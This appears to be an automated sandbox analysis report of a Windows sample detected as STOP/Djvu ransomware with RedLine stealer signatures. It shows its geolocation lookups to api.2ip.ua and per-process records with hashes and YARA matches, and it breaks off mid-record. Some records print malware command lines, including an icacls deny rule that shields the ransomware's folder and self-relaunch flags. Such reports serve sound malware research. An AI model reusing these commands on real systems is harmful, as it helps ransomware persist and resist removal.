2024-07-26 00:25:31 UTC	455	IN	Data Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 39 39 66 31 66 63 66 35 65 39 64 39 61 62 66 30 65 39 62 37 66 34 66 63 61 36 65 61 65 63 66 62 66 33 66 63 66 61 Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#99f1fcf5e9d9abf0e9b7f4fca6eaecfbf3fcfa
2024-07-26 00:25:31 UTC	367	IN	Data Raw: ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 65 66 38 37 38 61 38 33 39 66 61 66 64 64 38 36 39 66 63 31 39 61 38 65 64 30 39 63 39 61 38 64 38 35 38 61 38 63 39 62 64 32 64 64 38 36 39 66 63 31 39 61 38 65 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#ef878a839fafdd869fc19a8ed09c9a8d858a8c9bd2dd869fc19a8e
2024-07-26 00:25:31 UTC	114	IN	Data Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
2024-07-26 00:25:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	188.114.96.3	443	7380	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 00:25:36 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-26 00:25:37 UTC	914	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 26 Jul 2024 00:25:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DRddAcjrOHdcMSt%2FLCxkTxdsaFE%2B%2FndpGjBpzLrNSVYvebuEDMGrHbotDjrkDFOzPtEtUACHuSxLpKKvpYcD%2FSHDCAKFLwByff9HPzMmKaaiC10YZpDFYWhMSTV9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9040e6888041e9-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 00:25:37 UTC	455	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 62 33 64 62 64 36 64 66 63 33 66 33 38 31 64 61 63 33 39 64 64 65 64 36 38 63 63 30 63 36 64 31 64 39 64 36 64 30 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#b3dbd6dfc3f381dac39dded68cc0c6d1d9d6d0
2024-07-26 00:25:37 UTC	475	IN	Data Raw: ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 36 30 30 38 30 35 30 63 31 30 32 30 35 32 30 39 31 30 34 65 31 35 30 31 35 66 31 33 31 35 30 32 30 61 30 35 30 33 31 34 35 64 35 32 30 39 31 30 34 65 31 35 30 31 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#6008050c10205209104e15015f1315020a0503145d5209104e1501
2024-07-26 00:25:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	188.114.96.3	443	7492	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 00:25:39 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-26 00:25:39 UTC	924	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 26 Jul 2024 00:25:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FWQxoKwrzlBXkZKhCiJlcag8G7%2F8pw1o2lBeiP4g%2FBAcZP7%2BXMnHi2mB1lWJstkj7Etp%2BCYH6XJ%2Bw5cA6uFVv%2Ff%2FY%2BlIK2S6HF8QASEQ5GL9Cy2ugCr7tSNFCH2L"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9040f3cf9a1875-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 00:25:39 UTC	445	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 64 35 62 64 62 30 62 39 61 35 39 35 65 37 62 63 61 35 66 62 62 38 62 30 65 61 61 36 61 30 62 37 62 66 62 30 62 36 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#d5bdb0b9a595e7bca5fbb8b0eaa6a0b7bfb0b6
2024-07-26 00:25:39 UTC	485	IN	Data Raw: d0 be d1 81 d0 be d0 b2 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 64 33 62 62 62 36 62 66 61 33 39 33 65 31 62 61 61 33 66 64 61 36 62 32 65 63 61 30 61 36 62 31 62 39 62 36 62 30 61 37 65 65 65 31 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#d3bbb6bfa393e1baa3fda6b2eca0a6b1b9b6b0a7eee1
2024-07-26 00:25:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49747	188.114.96.3	443	7688	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 00:25:45 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-26 00:25:45 UTC	910	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 26 Jul 2024 00:25:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ut83XfaBlFp3Htf44Sm8RqBE0PsKolGVx2ZcGyzep2VmfUs2a%2BhLEBjd%2B4nPndXjz5TqV99Bj8BuuMOXZasWViQEaOzqspavxPYppK383Z1EhXdne8GY5Hai7Vpb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a90411b6ce70f67-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 00:25:45 UTC	459	IN	Data Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 32 64 34 35 34 38 34 31 35 64 36 64 31 66 34 34 35 64 30 33 34 30 34 38 31 32 35 65 35 38 34 66 34 37 34 38 34 65 Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#2d4548415d6d1f445d034048125e584f47484e
2024-07-26 00:25:45 UTC	363	IN	Data Raw: d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 64 65 62 36 62 62 62 32 61 65 39 65 65 63 62 37 61 65 66 30 61 62 62 66 65 31 61 64 61 62 62 63 62 34 62 62 62 64 61 61 65 33 65 63 62 37 61 65 66 30 61 62 62 66 22 3e 3c 73 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#deb6bbb2ae9eecb7aef0abbfe1adabbcb4bbbdaae3ecb7aef0abbf"><s
2024-07-26 00:25:45 UTC	114	IN	Data Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
2024-07-26 00:25:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49750	188.114.96.3	443	7880	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 00:25:53 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-26 00:25:53 UTC	910	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 26 Jul 2024 00:25:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W8rJx1GzOj8ABSkHg9ezcoWJtmth2oc2Hmprlb%2FnFS8cViNahYlHAZmZYwhsDrAtyL4gcEeJNRahv9KUweFmqS6J8Y5ZGvNhAsX3GMJrRC8PTplGOBMyxXPnzXs%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a90414b8b438cab-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 00:25:53 UTC	459	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 31 64 37 35 37 38 37 31 36 64 35 64 32 66 37 34 36 64 33 33 37 30 37 38 32 32 36 65 36 38 37 66 37 37 37 38 37 65 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#1d7578716d5d2f746d337078226e687f77787e
2024-07-26 00:25:53 UTC	471	IN	Data Raw: d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 36 65 30 36 30 62 30 32 31 65 32 65 35 63 30 37 31 65 34 30 31 62 30 66 35 31 31 64 31 62 30 63 30 34 30 62 30 64 31 61 35 33 35 63 30 37 31 65 34 30 31 62 30 66 22 3e 3c 73 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#6e060b021e2e5c071e401b0f511d1b0c040b0d1a535c071e401b0f"><s
2024-07-26 00:25:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	20:25:24
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe"
Imagebase:	0x400000
File size:	792'576 bytes
MD5 hash:	0B5606B5BD61D8026FBCF1A217248485
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1722225199.0000000002198000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:25:24
Start date:	25/07/2024
Path:	C:\Users\user\AppData\Local\Temp\RranN.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\RranN.exe
Imagebase:	0xb40000
File size:	15'872 bytes
MD5 hash:	F7D21DE5C4E81341ECCD280C11DDCC9A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:25:29
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe"
Imagebase:	0x400000
File size:	792'576 bytes
MD5 hash:	0B5606B5BD61D8026FBCF1A217248485
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:25:30
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6104 -s 1536
Imagebase:	0x8b0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:25:30
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x380000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:25:31
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	792'576 bytes
MD5 hash:	0B5606B5BD61D8026FBCF1A217248485
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.1778324118.000000000080C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:25:31
Start date:	25/07/2024
Path:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe --Task
Imagebase:	0x90000
File size:	792'576 bytes
MD5 hash:	0B5606B5BD61D8026FBCF1A217248485
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000008.00000002.1800497769.00000000008F3000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:25:34
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	792'576 bytes
MD5 hash:	0B5606B5BD61D8026FBCF1A217248485
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000002.2923188617.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000002.2923188617.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000009.00000002.2923188617.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:25:37
Start date:	25/07/2024
